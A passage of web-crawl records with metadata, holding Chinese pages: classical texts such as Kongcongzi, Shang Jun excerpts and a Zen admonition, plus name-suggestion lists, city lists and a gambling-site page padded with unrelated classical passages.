C-MAIN-2020-16\/segments\/1585370518622.65\/warc\/CC-MAIN-20200403190006-20200403220006-00129.warc.gz","language":"lzh","language_score":0.5402317643,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5402317643165588, \"cmn_Hani_score\": 0.24149207770824432, \"nan_Hani_score\": 0.11612635850906372, \"wuu_Hani_score\": 0.018057726323604584, \"yue_Hani_score\": 0.01467803493142128, \"jpn_Jpan_score\": 0.010710205882787704}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.534,"perplexity_score":500.0,"cluster_detection":1} +{"text":"韦德体育平台教育部做好开学前居家学习与开学后正常教学的衔接\n此不教而民从其化,近者视而效之,远者四面望而法之。故三得相而不喜,知其材自得之也;三去相而不悔,知非己之罪也。\n侍孔子,孔子曰:\"言尔志。\"曰:\"春服既成,冠者五六人,童子六七人,浴乎沂,风乎舞雩,咏而归。\"孔子喟尔叹曰:\"吾与也!\"\n顷之,景帝居禁中,召条侯,赐食。独置大胾,无切肉,又不置櫡。条侯心不平,顾谓尚\n世有大人兮,在于中州。宅弥万里兮,曾不足以少留。悲世俗之迫隘兮,朅轻举而远游。垂绛幡之素蜺兮,载云气而上浮。建格泽之长竿兮,总光耀之采旄。垂旬始以为幓兮,抴彗星而为髾。掉指桥以偃蹇兮,又旖旎以招摇。揽欃枪以为旌兮,靡屈虹而为绸。红杳渺以眩湣兮,猋风涌而云浮。驾应龙象舆之蠖略逶丽兮,骖赤螭青虬之鞮蟉蜿蜒。低卬夭蟜据以骄骜兮,诎折隆穷蠼以连卷沛艾赳螑仡以佁儗兮,放散畔岸骧以孱颜。跮踱輵辖容以委丽兮,绸缪偃蹇怵鞨以梁倚。纠蓼叫奡蹋以艐路兮,蔑蒙踊跃腾而狂趡。莅飒卉翕熛至电过兮,焕然雾除,霍然云消。\n第九十八回 追汉军王双受诛 袭陈仓武侯取胜","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/m.floquetdenue.com\/appxltzh\/65557728.html","date":"2020-03-31T14:07:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370500482.27\/warc\/CC-MAIN-20200331115844-20200331145844-00251.warc.gz","language":"lzh","language_score":0.3956634998,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.3956634998321533, \"cmn_Hani_score\": 0.3625537157058716, \"nan_Hani_score\": 0.06784664839506149, \"wuu_Hani_score\": 0.026614835485816002, \"zxx_Latn_score\": 0.019325951114296913, \"jpn_Jpan_score\": 0.018367519602179527, \"yue_Hani_score\": 0.017491385340690613}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.368,"perplexity_score":500.0,"cluster_detection":1} +{"text":"白隱慧鶴手書。慧鶴江戶時人也。\n大燈國師遺誡\n老僧行腳後、或寺門繁興、多衆鬧然、佛閣經卷、鏤金銀、誦經諷咒、長坐不臥、一食卯齋、六時行道、直繞雖恁麼去、不以佛祖不傳妙道、掛在胸間、行狀撥無因果、真風墜地、老僧去世久矣、不許稱兒孫、或儻有一人、綿蕝野外、一把茅底、折腳鐺下、煮野菜根、喫過日、專一窮明己事、與老僧日ゝ相見、報恩底人也、誰敢輕忍、勉旃〻〻\n建武二年十一月五日","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/wikisource.org\/wiki\/%E5%A4%A7%E7%87%88%E5%9C%8B%E5%B8%AB%E9%81%BA%E8%AA%A1\/%E7%99%BD%E9%9A%B1%E6%85%A7%E9%B6%B4%E6%89%8B%E6%9B%B8","date":"2021-01-19T22:19:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703519784.35\/warc\/CC-MAIN-20210119201033-20210119231033-00333.warc.gz","language":"lzh","language_score":0.3929035366,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.39290353655815125, \"cmn_Hani_score\": 0.3167615830898285, \"jpn_Jpan_score\": 0.16997113823890686, \"wuu_Hani_score\": 0.03007923811674118, \"yue_Hani_score\": 0.02666664496064186, \"nan_Hani_score\": 0.011808617040514946}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.393,"perplexity_score":500.0,"cluster_detection":1} +{"text":"环球教育教育优势\n填写您的心愿,顾问帮你找!\n环球教育校区地址\n安庆 北京 保定 滨州 成都 长沙 长春 重庆 常州 沧州 大连 东莞 达州 德清 福州 抚顺 阜阳 佛山 广州 高邮 贵阳 杭州 合肥 邯郸 惠州 衡阳 海口 淮安 济南 嘉兴 江门 晋中 金华 昆明 昆山 洛阳 临沂 兰州 马鞍山 南京 南通 宁波 南昌 南宁 青岛 秦皇岛 泉州 如皋 上海 深圳 沈阳 苏州 绍兴 石家庄 汕头 顺德 天津 太原 塘沽 泰州 台州 无锡 武汉 温州 潍坊 芜湖 威海 西安 厦门 西宁 岳阳 扬州 银川 烟台 余姚 鹰潭 盐城 义乌 郑州 中山 珠海 镇江 遵义","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.58sok.com\/huanqiujy","date":"2021-06-19T06:48:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487643703.56\/warc\/CC-MAIN-20210619051239-20210619081239-00027.warc.gz","language":"lzh","language_score":0.4821777344,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.482177734375, \"cmn_Hani_score\": 0.47113415598869324, \"nan_Hani_score\": 0.03173583373427391, \"wuu_Hani_score\": 0.01395377703011036}","num_words":86,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.311,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.513,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n毛涔洁 毛兴茹 毛星茹 毛昕茹 毛曦茹 毛希茹 毛熙茹 毛席茹 毛歆茹 毛芯茹 毛欣茹 毛心茹 毛安茹 毛爱茹 毛其娜 毛婉琴 毛涵玉 毛芷燕 毛芷艳 毛雯玉 毛幸文 毛柳瑶 毛雅莉 毛及冉 毛孑冉 毛晨悦 毛训文 毛雯琼 毛雯洁 毛怡莲 毛思萍 毛云婧 毛鹤颖 毛晓媛 毛一洁 毛妍植 毛美洁 毛钰颖 毛绚颖 毛秀瑶 毛李丽 毛风琴 毛凤琴 毛会玉 毛菊萍 毛燕春 毛国琼 毛赛娟 毛鸿媛 毛挂芳 毛娜娜 毛水娟 毛荷梅 毛为婧 毛翊娜 毛林英 毛四英 毛珍英 毛嫣冰 毛佰文 毛宇茹 毛普萍 毛萧怡 毛晓瑛 毛鸣文 毛秀谒 毛若玉 毛跃红 毛燕娟 毛瑗莹 毛凌丽 毛关娟 毛莲莉 毛露娜 毛刘怡 毛圣瑛 毛晓倩 毛惠莉 毛虹霞 毛杏丽 毛纾琳 毛铁琳 毛宇琳 毛姝琳 毛缃玉 毛曼莉 毛曼丽 毛森丽 毛嘉茹 毛彗萍 毛曦瑶 毛芷雪 毛挹丽 毛婧憬 毛婧桢 毛婧彦 毛婧暄 毛婧菡 毛婧涵 毛婧儒 毛莉姗 毛莉珊 毛紫琳 毛丽莹 毛明丽 毛晨蓉 毛丞文 毛绚文 毛吣文 毛倩文 毛彩文 毛抒文 毛万英 毛宜琼 毛丽颖 毛斯文 毛逸文 毛潇文 毛笑妍 毛梦倩 毛梓倩 毛淳娜 毛瑜琼 毛俞文 毛芷妍 毛婧睿 毛仁冉 毛桢婷 毛悦闻 毛香雪 毛钰琼 毛和芬 毛建蓉 毛红瑛 毛琳宇 毛宏玉 毛秀蒙 毛鑫莹 毛秀莹 毛博莹 毛秀莺 毛博燕 毛沙妍 毛秀佳 毛善玲 毛淑娟 毛秀秀 毛秀悦 毛秀秀 毛在燕 毛靖蓉 毛悦颖 毛秀梅 毛淑玲 毛敏媛 毛清瑶 毛青瑶 毛秀秀 毛莹萱 毛萍屏 毛欣秀 毛秀萱 毛楚怡 毛峥艳 毛张倩 毛香颖 毛素玲 毛雯怡 毛妍霏 毛玫红 毛长美 毛静蓉 毛西颖 毛烨雪 毛娜秀 毛妍淇 毛妍祺 毛娜楠 毛咏婷 毛荣丽 毛维娜 毛嘉秀 毛琳娜 毛茹泠 毛晶茹 毛爱洁 毛秀妍 毛洙妍 毛燕亮 毛华萍 毛婷娇 毛伟玲 毛伟红 毛沂萍 毛馨洁 毛金芬 毛晓洁 毛选梅 毛华美 毛乃花 毛蓉欣 毛昭霞 毛维娟 毛梦文 毛琼花 毛素丽 毛荷娜 毛婉萍 毛叶琳 毛婧苑 毛婧劭 毛婧宜 毛婧妤 毛婧煜 毛婧婕 毛婧梦 毛婧楚 毛婧远 毛婧岚 毛婧瑞 毛婧妍 毛婧媛 毛佩芳 毛蔷茹 毛卓梅 毛文妍 毛千冉 毛洁玉 毛珊娜 毛莉霞 毛梓文 毛倩颖 毛荷芳 毛群颖 毛智媛 毛瀚雪 毛武英 毛露娟 毛通文 毛佩莹 毛惠文 毛红莉 毛祖英 毛亚文 毛楚玲 毛广丽 毛琼英 毛潇悦 毛修英 毛琬婷 毛玮婷 毛宇琴 毛纹婷 毛聿婷 毛菀婷 毛庾婷 毛蓣婷 毛萸婷 毛郁婷 毛漪婷 毛伊婷 毛家颖 毛韵茹 毛福红 毛亦雪 毛洁萍 毛旷怡 毛咏蓉 毛悦虹 毛婧爽 毛舒冉 毛凤娥 毛思婷 毛卓妍 毛译洁 毛钰琴 毛译琴 毛译琳 毛译妍 毛渝文 毛燕璐 毛麒琳 毛樟英 毛坤琳 毛凤梅 毛天文 毛婷月 毛琳煜 毛乐文 毛文琳 毛婵 毛晶洁 毛彩妹 毛娟梅 毛琳舸 毛淑萍 毛世玲 毛若怡 毛娅萱 毛昱婷","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/zhzyzz.cn\/show_460.aspx","date":"2023-12-01T02:55:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100264.9\/warc\/CC-MAIN-20231201021234-20231201051234-00528.warc.gz","language":"lzh","language_score":0.7057529092,"language_script":"Hani","minhash_cluster_size":14,"top_langs":"{\"lzh_Hani_score\": 0.7057529091835022, \"wuu_Hani_score\": 0.15574055910110474, \"nan_Hani_score\": 0.043723203241825104, \"cmn_Hani_score\": 0.032198745757341385, \"yue_Hani_score\": 0.017059560865163803, \"jpn_Jpan_score\": 0.013987131416797638}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.701,"perplexity_score":500.0,"cluster_detection":1} +{"text":"迪庆按揭贷款计算器\n迪庆按揭贷款月供计算器提供等额及按月递减两种还款方式的按揭月供款计算。\n您只需要选择还款方式,填写贷款金额并选择贷款期限,即可根据当前最新贷款利率计算出按揭月供款。计算完成后,您还可以选择期数查看详细的还款信息。\n注:如有需要,您可根据实际情况修改年利率。\n云南 广西 广东 江西 四川 湖北 福建 浙江 江苏 安徽 迪庆 怒江 德宏 大理 楚雄 西双版纳 红河 文山 临沧 丽江 昭通 保山 玉溪 曲靖 昆明 石河子 阿勒泰 塔城 伊犁 博尔塔拉 昌吉 巴音郭楞 喀什 阿克苏 和田 哈密 吐鲁番 克拉玛依 乌鲁木齐 林芝 阿里 那曲 日喀则 山南 昌都 拉萨 凉山 甘孜 阿坝 雅安 眉山 资阳 达州 巴中 攀枝花 宜宾 广元 自贡 乐山 内江 遂宁 广安 南充 德阳 绵阳 泸州 成都 商洛 安康 榆林 汉中 延安 渭南 咸阳 宝鸡 铜川 西安 吕梁 临汾 忻州 运城 晋中 朔州 晋城 长治 阳泉 大同 太原 菏泽 滨州 聊城 德州 临沂 莱芜 日照 泰安 青岛 威海 潍坊 烟台 东营 枣庄 淄博 济宁 济南 海西 玉树 果洛 黄南 海北 海东 西宁 中卫 固原 吴忠 石嘴山 银川 阿拉善 锡林郭勒 兴安盟 乌兰察布 巴彦淖尔 乌海 鄂尔多斯 通辽 赤峰 呼伦贝尔 包头 呼和浩特 葫芦岛 朝阳 铁岭 盘锦 辽阳 阜新 营口 锦州 丹东 本溪 抚顺 鞍山 大连 沈阳 抚州 宜春 上饶 吉安 赣州 鹰潭 新余 九江 萍乡 景德镇 南昌 泰州 宿迁 镇江 苏州 盐城 淮安 连云港 南通 扬州 常州 徐州 无锡 南京 延边 白城 松原 白山 通化 辽源 四平 吉林 长春 湘西 娄底 怀化 永州 郴州 益阳 张家界 常德 岳阳 邵阳 衡阳 湘潭 株洲 长沙 恩施 荆门 孝感 黄冈 鄂州 咸宁 荆州 宜昌 随州 十堰 黄石 襄樊 武汉 大兴安岭 绥化 黑河 牡丹江 七台河 佳木斯 伊春 大庆 双鸭山 鹤岗 鸡西 齐齐哈尔 哈尔滨 开封 周口 平顶山 商丘 南阳 三门峡 漯河 许昌 濮阳 安阳 新乡 鹤壁 驻马店 信阳 洛阳 焦作 郑州 秦皇岛 衡水 廊坊 唐山 承德 张家口 保定 邢台 邯郸 迁安 沧州 石家庄 三亚 海口 铜仁 毕节 黔西南 黔东南 黔南 安顺 遵义 六盘水 贵阳 玉林 贺州 来宾 河池 百色 崇左 防城港 北海 钦州 贵港 梧州 桂林 柳州 南宁 甘南 临夏 陇南 定西 庆阳 酒泉 平凉 张掖 武威 天水 白银 金昌 嘉峪关 兰州 宁德 龙岩 南平 漳州 泉州 三明 莆田 厦门 福州 宿州 宣城 池州 亳州 六安 巢湖 阜阳 滁州 黄山 安庆 铜陵 淮北 马鞍山 淮南 蚌埠 芜湖 合肥 温州 义乌 丽水 台州 舟山 衢州 金华 绍兴 湖州 宁波 嘉兴 杭州 云浮 揭阳 潮州 中山 东莞 清远 阳江 河源 汕尾 梅州 惠州 肇庆 茂名 湛江 江门 佛山 韶关 汕头 珠海 深圳 广州 重庆 天津 上海 北京","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/anjie.fabaoshu.com\/city\/%E8%BF%AA%E5%BA%86.html","date":"2023-12-11T19:06:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679516047.98\/warc\/CC-MAIN-20231211174901-20231211204901-00816.warc.gz","language":"lzh","language_score":0.4887743294,"language_script":"Hani","minhash_cluster_size":66,"top_langs":"{\"lzh_Hani_score\": 0.4887743294239044, \"cmn_Hani_score\": 0.3019375503063202, \"nan_Hani_score\": 0.20287007093429565}","num_words":351,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.292,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.521,"perplexity_score":500.0,"cluster_detection":1} +{"text":"荅 問 第 十 九\n陳人有武臣謂子鮒曰、夫聖人者、誠高材美稱也、吾謂聖人之知必見未形之前、功垂於身後立教而戾天弗犯、吐言而辯士不破也、子之先君可謂當之矣、然韓子立法、其所以異夫子之謂者紛如也、予每探其意而校其事、持久歷遠、遏姦勸善、韓氏未必非孔子未必得也、吾今而後乃知聖人無世不有、前聖後聖、法制固不一也、若韓非者、亦當世之聖人也、子鮒曰子信之為然是固未免凡俗也。今世人有言高者必以極天為稱。言下者必以深淵為名。是資勢之談而無其實者也。好事而未鑿也。必言經以自輔。援聖以自賢。欲以取信於群愚而度其說也。若諸子之書其義皆然。吾先君之所自志也。請略說一隅而君子審其信否焉。武臣曰諾。子鮒曰乃者趙韓共并知氏。趙襄子之行賞。先加具臣而後有功。韓非書云夫子善之。引以張本。然後難之。豈有不似哉。然實詐也。何以明其然。昔我先君以春秋哀公十六年四月巳丑卒。至二十七年。荀瑤與韓趙魏伐鄭過東垣而還。是時夫子卒巳十一年矣。而晉四卿皆在也。後悼公十四年。知氏乃亡。此先後甚遠。而韓非公稱之曾無怍意。是則世多好事之徒皆非之罪也。故吾以是默口於小道塞耳於諸子久矣。而子立尺表以度天。植寸指以測淵。矇大道而不悟。信誣說以疑聖。殆非所望也。武臣又手跪謝、施施而退、遂告人曰吾自以為學之博矣。而可否於孔氏。方知學不在多。要在精之也。陳王問太師曰、寡人不得為賢所推而得南面稱孤。其幸多矣。今既賴二三君子。且又欲規久長之圖。何施而可。荅曰信王之言。萬世之福也。敢稱古以對昔周代殷。乃興滅繼絕以為政首。今誠法之。則六國定不攜。抑久長之本。王曰周存二代。別有三恪。其事云何。荅曰封夏殷之後以為二代。紹虞帝嗣備為三恪。恪敬也。禮之如賓客也。非謂特有二代別有三恪也。凡所以立二代者。備王道通三統也。王曰三統者何。荅曰各自用其正朔。二代與周。是謂三統。王曰六國之後君。吾不能封也。遠世之王。於我何有。吾自舉不及於周。又安能純法之乎。\n陳王涉讀國語言申生事、顧博士曰、始予信聖賢之道、乃今知其不誠也、先生以為何如、荅曰王何謂哉。王曰晉獻惑聽讒。而書又載驪姬夜泣公。而以信入其言。人之夫婦夜處幽室之中。莫能知其私焉。雖黔首猶然。況國君乎。予以是知其不信。乃好事者為之辭。將欲成其說以誣愚俗也。故使予并疑於聖人也。博士曰不然也。古者人君外朝則有國史。內朝則有女史。舉則左史書之。言則右史書之。以無諱示後世。善以為式。惡以為戒。廢而不記。史失其官。故凡若晉侯驪姬床第之私房中之事不得捨焉。若夫設教之言。驅群俗使人入道而不知其所以者也。今此皆書實事。累累若貫珠。可無疑矣。王曰先生真聖人之後風也。今幸得聞命。寡人無過焉。 陳王涉使周章為將西入關以誅秦、秦使將章邯拒之、陳王以秦國之亂也、有輕之之意、勢若有餘而不設敵備、博士太師諫、曰章邯、秦之名將周章非其敵也。今王使章霈然自得而不設備。臣竊惑焉。夫雖天之所舍。其禍福吉凶大者在天小者由人。今王不修人利以應天祥。若跌而不振。悔之無及也。王曰寡人之軍。先生無累也。請先生息慮也。又諫曰臣聞兵法、無恃敵之不我攻。恃吾之不我攻也。今恃敵而不自恃。非良計也。王曰先生所言計策深妙。予不識也。先生休矣。巳而告人曰儒者可與守成。難與進取。信哉。博士他日復諫。曰臣聞國大兵眾。無備難恃。一人善射百夫決拾。章邯梟將。卒皆死士也。周章若懦。使彼席卷來前。莫有當其鋒者。王曰先生所稱寡人昧昧焉。願以人間近事喻之。答曰流俗之事。臣所不忍也。今王命之。敢不盡情。願王察之也。臣昔在梁。梁人有陽由者。其力扛鼎。伎巧過人。骨騰肉飛。手搏●獸。國人懼之。然無治室之訓。禮教不立。妻不畏憚。浸相泄瀆。方乃積怒。妻坐於床答焉左手建杖。右手制其頭。妻亦奮恚。因授以背。使杖擊之。而自撮其陰。由乃仆地氣絕而不能興。鄰人聞其凶凶也。窺而見之。趨而救之。妻愈戇忿。莫肯舍旃。或發其裳。然後乃放。夫以無敵之伎力而劣於女子之手者。何也。輕之無備故也。今王與秦角強弱。非若由之夫妻也。而輕秦過甚。臣是以懼。故區區之心。欲王備患之也。王曰譬類誠佳、然實不同也、弗聽、周章果敗而無後救、邯遂進兵擊陳王、師大敗、博士凡仕六旬、老于陳、將沒、戒其弟子曰、魯天下有仁義之國也。戰國之世講頌不衰。且先君之廟在焉。吾謂叔孫通處濁世而清其身學儒術而知權變。是今師也。宗於有道。必有令圖。歸必事焉。\n孔叢卷下終","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/m.guoxuedashi.com\/a\/384iejd\/11625w.html","date":"2024-04-20T00:40:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817463.60\/warc\/CC-MAIN-20240419234422-20240420024422-00098.warc.gz","language":"lzh","language_score":0.5335806012,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5335806012153625, \"cmn_Hani_score\": 0.18740610778331757, \"nan_Hani_score\": 0.05389059707522392, \"zxx_Latn_score\": 0.036245595663785934, \"jpn_Jpan_score\": 0.030416792258620262, \"wuu_Hani_score\": 0.022818997502326965, \"yue_Hani_score\": 0.011834366247057915, \"und_Tang_score\": 0.011517439037561417}","num_words":9,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.534,"perplexity_score":500.0,"cluster_detection":1} +{"text":"明來集之撰。是編於毎卦約舉大義。所發明不過數語。故名一得。其中頗有精澈之語。然支離處亦復不少。如釋訟。謂天開於子。水歸於壑。見其始而不見其終。此天水訟之可以謀始而不可以成終也。釋師謂五行之用莫大於水土。有衆多之義。而五行之用。土又尅水。有勝負之義。且土在上者爲高。水在下者爲深。卽兵法之右背山林。前阻水澤也。亦未免失之纖巧矣。","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0016204.html","date":"2017-03-26T01:36:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189090.69\/warc\/CC-MAIN-20170322212949-00164-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.602514565,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.6025145649909973, \"cmn_Hani_score\": 0.29643332958221436, \"nan_Hani_score\": 0.03752151504158974, \"yue_Hani_score\": 0.026500210165977478, \"wuu_Hani_score\": 0.01691255532205105, \"jpn_Jpan_score\": 0.015294615179300308}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.603,"perplexity_score":500.0,"cluster_detection":1} +{"text":"商君子\n群書治要卷三十六\n六 法\n先王當時而立法。度務而制事。法宜其時則治。事適其務故有功。然則法有時而治。事有當而功。今時移而法不變。務易而事以古。是法與時詭。而事與務易也。故法立而亂益。務爲而事廢。故聖人之治國也。不法古。不循今。當時而立功。在難而能免。今民能變俗矣。而法不易。國形更勢矣。而務以古。夫法者民之治也。務者事之用也。國失法則危。事失用則不成。故法不當時而務不適用而不危者。未之有也。\n修 權\n國之所以治者三。一曰法。二曰信。三曰權。法者。君臣之所共操也。信者。君臣之所共立也。權者。君之所獨制也。人主失守則危。君臣釋法任私則亂。故立法明分而不以私害法則治。權制獨斷於君則威。民信其賞則事功。不信其刑。則奸無端矣。唯明主愛權重信。而不以私害法也。故上多惠言而不克其賞。則下不用。數加嚴命而不致其刑。則民傲罪。凡賞者文也。刑者武也。文武者。法之約也。故明主慎法。不蔽之謂明。不欺之謂察。故賞厚而信。刑重而必。不失疏遠。不私親近。故臣不蔽主而下不欺上。\n世之爲治者。多釋法而任私議。此國之所以亂也。先王懸權衡。立尺寸。而至今法之。其分明也。夫釋權衡而斷輕重。廢尺寸而意長短。雖察。商賈不用。爲其不必也。故法者國之權衡也。夫背法度而任私議。皆不知類者也。故立法明分。中程者賞。毁公者誅。賞誅之法。不失其議。故民不争。不以爵禄便近親。則勞臣不怨。不以刑罰隱疏遠。則下親上。故官賢選能。不以其勞。則忠臣不進。行賞賦禄。不稱其功。則戰士不用。\n凡人臣之事君也。多以主所好事君。君好法則臣以法事君。君好言則臣以言事君。君好法則端直之士在前。君好言則毁譽之臣在側。公私之分明。則小人不嫉賢。而不肖者不妒功。故三王以義親。五伯以法正諸侯。皆非私天下之利也。亂世之君臣。區區然皆欲擅一國之利。而蒐一官之重(本書蒐作當)以便其私。國之所以危也。夫廢法度而好私議。則奸臣鬻權以約禄。秩(秩舊作杖。下同。改之)官之吏。隱下而漁民。諺曰。蠹衆而木折。隙大而墻壞。故大臣争於私而不顧其民。則下離上。下離上者。國之隙也。秩官之吏。隱下以漁百姓。此民之蠹也。故國有隙蠹而不亡者。天下鮮矣。故明主任法去私。而國無隙蠹矣。\n定 分\n法令者。民之命也。爲治之本也。所以備民也。智者不得過。愚者不得不及。名分不定。而欲天下之治。是猶欲無饑而去食(去食下舊無欲字。補之)。欲無寒而去衣也。其不幾亦明矣。一兔走而百人追之。非以兔爲可分以爲百。由名之未定也。夫賣兔者滿市。盗不敢取。由名分之定也。故名分未定。堯。舜。禹。湯且皆加務而逐之。名分已定。貪盗不取。今法令不明。其名不定。天下之人得議之。此所謂名分不定也。夫名分不定。堯。舜猶將皆折而奸之。而况衆人乎。故聖人必爲法令置官也。置吏也。爲天下師。所以定分(分上有名字)也。名分定則大詐真(真作貞)信。巨盗愿愨。而各自治也。故夫名分定。勢治之道也。名分不定。勢亂之道也。故勢治者不可亂也。勢亂者不可治也。夫勢亂而欲治之。愈亂矣。勢治而治之。則治矣。故聖人治治。不治亂也。\n聖人爲民法。必使之明白易知。愚智遍能知之。萬民無陷於險危也。故聖人立天下而天下無刑死者。非可刑殺而不刑殺也。萬民皆知所以避禍就福而皆自治也。明主因治而治之。故天下大治也。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022053.html","date":"2017-04-24T03:33:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00541-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.5574761033,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5574761033058167, \"cmn_Hani_score\": 0.19731301069259644, \"nan_Hani_score\": 0.06825399398803711, \"jpn_Jpan_score\": 0.04898308962583542, \"wuu_Hani_score\": 0.022824618965387344, \"zxx_Latn_score\": 0.011685626581311226}","num_words":14,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.557,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓蒙的好聽的女孩名字有哪些呢?名字是孩子一生中最忠實可靠的朋友,無論春風得意,抑或秋雨梧桐,名字都與孩子相依相守,不離不棄。那姓蒙的女寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓蒙的好聽的女孩名字!\n蒙惠蓉 蒙昱瑛 蒙占紅 蒙妍爽 蒙梓秀 蒙雯雪 蒙卉婷 蒙筱妍 蒙妍瀅 蒙菱芳 蒙沅蓉 蒙雪霞 蒙誠媛 蒙琳俐 蒙玉萍 蒙文怡 蒙秀仙 蒙思妍 蒙一梅 蒙金嬋 蒙春琳 蒙璽蓉 蒙思妍 蒙倩文 蒙鳳英 蒙至潔 蒙思穎 蒙奕琳 蒙佳麗 蒙睿倩 蒙莉珈 蒙婭洪 蒙婉莉 蒙媛媛 蒙美婷 蒙駱怡 蒙證玉 蒙昆英 蒙永芬 蒙怡葦 蒙兆雪 蒙嬌倩 蒙禮潔 蒙寧悅 蒙秀林 蒙令嫣 蒙悅媚 蒙靜茹 蒙文玉 蒙先燕 蒙羅文 蒙嵐婷 蒙咪娜 蒙智玲 蒙志琳 蒙蓉張 蒙黛玉 蒙玲含 蒙燕子 蒙惠穎 蒙婉怡 蒙聰蓉 蒙紙燕 蒙學文 蒙麗婭 蒙智紅 蒙一萍 蒙卓悅 蒙下玲 蒙涵文 蒙方梅 蒙吟霞 蒙新穎 蒙乙玲 蒙琴 蒙津萍 蒙艷萍 蒙二芳 蒙娜拉 蒙秀檠 蒙宣悅 蒙芬華 蒙翠琳 蒙順芳 蒙娜欣 蒙瑋瑤 蒙瑩皓 蒙琳玲 蒙戀婷 蒙妍汝 蒙翠梅 蒙咸梅 蒙銘媛 蒙妍語 蒙鈺婷 蒙琳筱 蒙怡晴 蒙俐茹 蒙霏悅 蒙燕清 蒙曉玉 蒙秀婷 蒙豫蓉 蒙玲雪 蒙文娟\n蒙嘉蓉 蒙麗芬 蒙妍冰 蒙建英 蒙童文 蒙雁英 蒙高瑩 蒙潞瑤 蒙芯怡 蒙愛娥 蒙言婷 蒙軍梅 蒙筠瑩 蒙汝燕 蒙文文 蒙慧茹 蒙裕文 蒙彥玲 蒙婧銘 蒙慶花 蒙彗萍 蒙胭霞 蒙生花 蒙保娥 蒙潔 蒙凱文 蒙抒芳 蒙思媛 蒙英麗 蒙芳萍 蒙繼娜 蒙喜瑩 蒙小穎 蒙麗花 蒙立紅 蒙秋麗 蒙枚玲 蒙秀靜 蒙美艷 蒙韻文 蒙另婧 蒙荷英 蒙池芳 蒙春娟 蒙義梅 蒙一茹 蒙欣冉 蒙玲婭 蒙秀秀 蒙慧芳 蒙廷芳 蒙莉納 蒙涵婧 蒙玉梅 蒙婧月 蒙如嫣 蒙楚怡 蒙雅紅 蒙欣婷 蒙敏娜 蒙佩霞 蒙秀潼 蒙卓瑩 蒙敏娟 蒙清怡 蒙沙英 蒙艾穎 蒙紅芳 蒙庭雪 蒙國娟 蒙淳潔 蒙澤妍 蒙鄧蓉 蒙莉蘋 蒙昊雪 蒙蓮芬 蒙心茹 蒙道梅 蒙欣妍 蒙婷茜 蒙黃文 蒙心冉 蒙琳玫 蒙英琳 蒙紅萍 蒙薇文 蒙冉 蒙安芳 蒙冬妹 蒙瀚玉 蒙慧玲 蒙華玉 蒙紅芬 蒙優美 蒙玲麗 蒙燕群 蒙妍妙 蒙俐雪 蒙琳璞 蒙美娟 蒙瑤佳 蒙志瓊 蒙結英 蒙劍英 蒙佳琳 蒙錦芳 蒙瑾燕 蒙紅梅 蒙景怡 蒙維娟 蒙婭譽 蒙蓴梅 蒙軍芳 